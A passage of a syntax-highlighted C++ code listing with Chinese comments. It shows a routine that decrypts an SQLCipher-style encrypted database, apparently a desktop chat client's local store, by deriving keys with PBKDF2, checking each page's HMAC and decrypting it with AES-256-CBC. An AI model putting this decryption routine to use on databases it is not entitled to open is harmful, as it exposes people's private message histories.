26);">&gt;&gt;</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">dbfilename</span>;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    }</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 0, 0);">Decryptdb</span>();</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(119, 0, 136);">return</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span>;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"> </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 136, 85);">int</span> <span style="box-sizing: border-box;color: rgb(0, 0, 255);">Decryptdb</span>()</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">{</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 0, 0);">FILE</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">*</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">fpdb</span>;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 0, 0);">fopen_s</span>(<span style="box-sizing: border-box;color: rgb(152, 26, 26);">&amp;</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">fpdb</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">dbfilename</span>, <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;rb+&#34;</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(119, 0, 136);">if</span> (<span style="box-sizing: border-box;color: rgb(152, 26, 26);">!</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">fpdb</span>)</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    {</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">printf</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;打开文件错!&#34;</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">getchar</span>();</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(119, 0, 136);">return</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span>;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    }</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 0, 0);">fseek</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">fpdb</span>, <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">SEEK_END</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 136, 85);">long</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">nFileSize</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">ftell</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">fpdb</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 0, 0);">fseek</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">fpdb</span>, <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">SEEK_SET</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 136, 85);">unsigned</span> <span style="box-sizing: border-box;color: rgb(0, 136, 85);">char*</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">pDbBuffer</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">new</span> <span style="box-sizing: border-box;color: rgb(0, 136, 85);">unsigned</span> <span style="box-sizing: border-box;color: rgb(0, 136, 85);">char</span>[<span style="box-sizing: border-box;color: rgb(0, 0, 0);">nFileSize</span>];</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 0, 0);">fread</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">pDbBuffer</span>, <span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">nFileSize</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">fpdb</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 0, 0);">fclose</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">fpdb</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"> </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 136, 85);">unsigned</span> <span style="box-sizing: border-box;color: rgb(0, 136, 85);">char</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">salt</span>[<span style="box-sizing: border-box;color: rgb(17, 102, 68);">16</span>] <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> { <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span> };</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 0, 0);">memcpy</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">salt</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">pDbBuffer</span>, <span style="box-sizing: border-box;color: rgb(17, 102, 68);">16</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"> </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(85, 85, 85);">#ifndef NO_USE_HMAC_SHA1</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 136, 85);">unsigned</span> <span style="box-sizing: border-box;color: rgb(0, 136, 85);">char</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">mac_salt</span>[<span style="box-sizing: border-box;color: rgb(17, 102, 68);">16</span>] <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> { <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span> };</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 0, 0);">memcpy</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">mac_salt</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">salt</span>, <span style="box-sizing: border-box;color: rgb(17, 102, 68);">16</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(119, 0, 136);">for</span> (<span style="box-sizing: border-box;color: rgb(0, 136, 85);">int</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">i</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span>; <span style="box-sizing: border-box;color: rgb(0, 0, 0);">i</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">&lt;</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">sizeof</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">salt</span>); <span style="box-sizing: border-box;color: rgb(0, 0, 0);">i</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">++</span>)</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    {</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">mac_salt</span>[<span style="box-sizing: border-box;color: rgb(0, 0, 0);">i</span>] <span style="box-sizing: border-box;color: rgb(0, 0, 0);">^</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x3a</span>;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    }</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(85, 85, 85);">#endif</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"> </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 136, 85);">int</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">reserve</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">IV_SIZE</span>;      <span style="box-sizing: border-box;color: rgb(170, 85, 0);">//校验码长度,PC端每4096字节有48字节</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(85, 85, 85);">#ifndef NO_USE_HMAC_SHA1</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 0, 0);">reserve</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">+=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">HMAC_SHA1_SIZE</span>;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(85, 85, 85);">#endif</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 0, 0);">reserve</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> ((<span style="box-sizing: border-box;color: rgb(0, 0, 0);">reserve</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">%</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">AES_BLOCK_SIZE</span>) <span style="box-sizing: border-box;color: rgb(152, 26, 26);">==</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span>) <span style="box-sizing: border-box;color: rgb(152, 26, 26);">?</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">reserve</span> : ((<span style="box-sizing: border-box;color: rgb(0, 0, 0);">reserve</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">/</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">AES_BLOCK_SIZE</span>) <span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span>) <span style="box-sizing: border-box;color: rgb(152, 26, 26);">*</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">AES_BLOCK_SIZE</span>;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"> </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 136, 85);">unsigned</span> <span style="box-sizing: border-box;color: rgb(0, 136, 85);">char</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">key</span>[<span style="box-sizing: border-box;color: rgb(0, 0, 0);">KEY_SIZE</span>] <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> { <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span> };</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 136, 85);">unsigned</span> <span style="box-sizing: border-box;color: rgb(0, 136, 85);">char</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">mac_key</span>[<span style="box-sizing: border-box;color: rgb(0, 0, 0);">KEY_SIZE</span>] <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> { <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span> };</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"> </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 0, 0);">OpenSSL_add_all_algorithms</span>();</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 0, 0);">PKCS5_PBKDF2_HMAC_SHA1</span>((<span style="box-sizing: border-box;color: rgb(119, 0, 136);">const</span> <span style="box-sizing: border-box;color: rgb(0, 136, 85);">char*</span>)<span style="box-sizing: border-box;color: rgb(0, 0, 0);">pass</span>, <span style="box-sizing: border-box;color: rgb(119, 0, 136);">sizeof</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">pass</span>), <span style="box-sizing: border-box;color: rgb(0, 0, 0);">salt</span>, <span style="box-sizing: border-box;color: rgb(119, 0, 136);">sizeof</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">salt</span>), <span style="box-sizing: border-box;color: rgb(0, 0, 0);">DEFAULT_ITER</span>, <span style="box-sizing: border-box;color: rgb(119, 0, 136);">sizeof</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">key</span>), <span style="box-sizing: border-box;color: rgb(0, 0, 0);">key</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(85, 85, 85);">#ifndef NO_USE_HMAC_SHA1</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 0, 0);">PKCS5_PBKDF2_HMAC_SHA1</span>((<span style="box-sizing: border-box;color: rgb(119, 0, 136);">const</span> <span style="box-sizing: border-box;color: rgb(0, 136, 85);">char*</span>)<span style="box-sizing: border-box;color: rgb(0, 0, 0);">key</span>, <span style="box-sizing: border-box;color: rgb(119, 0, 136);">sizeof</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">key</span>), <span style="box-sizing: border-box;color: rgb(0, 0, 0);">mac_salt</span>, <span style="box-sizing: border-box;color: rgb(119, 0, 136);">sizeof</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">mac_salt</span>), <span style="box-sizing: border-box;color: rgb(17, 102, 68);">2</span>, <span style="box-sizing: border-box;color: rgb(119, 0, 136);">sizeof</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">mac_key</span>), <span style="box-sizing: border-box;color: rgb(0, 0, 0);">mac_key</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(85, 85, 85);">#endif</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"> </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 136, 85);">unsigned</span> <span style="box-sizing: border-box;color: rgb(0, 136, 85);">char*</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">pTemp</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">pDbBuffer</span>;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 136, 85);">unsigned</span> <span style="box-sizing: border-box;color: rgb(0, 136, 85);">char</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">pDecryptPerPageBuffer</span>[<span style="box-sizing: border-box;color: rgb(0, 0, 0);">DEFAULT_PAGESIZE</span>];</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 136, 85);">int</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">nPage</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span>;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 136, 85);">int</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">offset</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">16</span>;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(119, 0, 136);">while</span> (<span style="box-sizing: border-box;color: rgb(0, 0, 0);">pTemp</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">&lt;</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">pDbBuffer</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">nFileSize</span>)</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    {</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">printf</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;解密数据页:%d/%d \n&#34;</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">nPage</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">nFileSize</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">/</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">DEFAULT_PAGESIZE</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"> </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(85, 85, 85);">#ifndef NO_USE_HMAC_SHA1</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 136, 85);">unsigned</span> <span style="box-sizing: border-box;color: rgb(0, 136, 85);">char</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">hash_mac</span>[<span style="box-sizing: border-box;color: rgb(0, 0, 0);">HMAC_SHA1_SIZE</span>] <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> { <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span> };</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 136, 85);">unsigned</span> <span style="box-sizing: border-box;color: rgb(0, 136, 85);">int</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">hash_len</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span>;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">HMAC_CTX</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">hctx</span>;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">HMAC_CTX_init</span>(<span style="box-sizing: border-box;color: rgb(152, 26, 26);">&amp;</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">hctx</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">HMAC_Init_ex</span>(<span style="box-sizing: border-box;color: rgb(152, 26, 26);">&amp;</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">hctx</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">mac_key</span>, <span style="box-sizing: border-box;color: rgb(119, 0, 136);">sizeof</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">mac_key</span>), <span style="box-sizing: border-box;color: rgb(0, 0, 0);">EVP_sha1</span>(), <span style="box-sizing: border-box;color: rgb(0, 0, 0);">NULL</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">HMAC_Update</span>(<span style="box-sizing: border-box;color: rgb(152, 26, 26);">&amp;</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">hctx</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">pTemp</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">offset</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">DEFAULT_PAGESIZE</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">-</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">reserve</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">-</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">offset</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">IV_SIZE</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">HMAC_Update</span>(<span style="box-sizing: border-box;color: rgb(152, 26, 26);">&amp;</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">hctx</span>, (<span style="box-sizing: border-box;color: rgb(119, 0, 136);">const</span> <span style="box-sizing: border-box;color: rgb(0, 136, 85);">unsigned</span> <span style="box-sizing: border-box;color: rgb(0, 136, 85);">char*</span>)<span style="box-sizing: border-box;color: rgb(152, 26, 26);">&amp;</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">nPage</span>, <span style="box-sizing: border-box;color: rgb(119, 0, 136);">sizeof</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">nPage</span>));</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">HMAC_Final</span>(<span style="box-sizing: border-box;color: rgb(152, 26, 26);">&amp;</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">hctx</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">hash_mac</span>, <span style="box-sizing: border-box;color: rgb(152, 26, 26);">&amp;</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">hash_len</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">HMAC_CTX_cleanup</span>(<span style="box-sizing: border-box;color: rgb(152, 26, 26);">&amp;</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">hctx</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(119, 0, 136);">if</span> (<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">!=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">memcmp</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">hash_mac</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">pTemp</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">DEFAULT_PAGESIZE</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">-</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">reserve</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">IV_SIZE</span>, <span style="box-sizing: border-box;color: rgb(119, 0, 136);">sizeof</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">hash_mac</span>)))</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        {</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">            <span style="box-sizing: border-box;color: rgb(0, 0, 0);">printf</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;\n 哈希值错误! \n&#34;</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">            <span style="box-sizing: border-box;color: rgb(0, 0, 0);">getchar</span>();</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">            <span style="box-sizing: border-box;color: rgb(119, 0, 136);">return</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span>;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        }</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(85, 85, 85);">#endif</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(170, 85, 0);">//</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(119, 0, 136);">if</span> (<span style="box-sizing: border-box;color: rgb(0, 0, 0);">nPage</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">==</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span>)</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        {</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">            <span style="box-sizing: border-box;color: rgb(0, 0, 0);">memcpy</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">pDecryptPerPageBuffer</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">SQLITE_FILE_HEADER</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">offset</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        }</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"> </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">EVP_CIPHER_CTX</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">*</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">ectx</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">EVP_CIPHER_CTX_new</span>();</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">EVP_CipherInit_ex</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">ectx</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">EVP_get_cipherbyname</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;aes-256-cbc&#34;</span>), <span style="box-sizing: border-box;color: rgb(0, 0, 0);">NULL</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">NULL</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">NULL</span>, <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">EVP_CIPHER_CTX_set_padding</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">ectx</span>, <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">EVP_CipherInit_ex</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">ectx</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">NULL</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">NULL</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">key</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">pTemp</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span> (<span style="box-sizing: border-box;color: rgb(0, 0, 0);">DEFAULT_PAGESIZE</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">-</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">reserve</span>), <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"> </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 136, 85);">int</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">nDecryptLen</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span>;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 136, 85);">int</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">nTotal</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span>;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">EVP_CipherUpdate</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">ectx</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">pDecryptPerPageBuffer</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">offset</span>, <span style="box-sizing: border-box;color: rgb(152, 26, 26);">&amp;</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">nDecryptLen</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">pTemp</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">offset</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">DEFAULT_PAGESIZE</span> <span style="box-sizing: border-box;color: 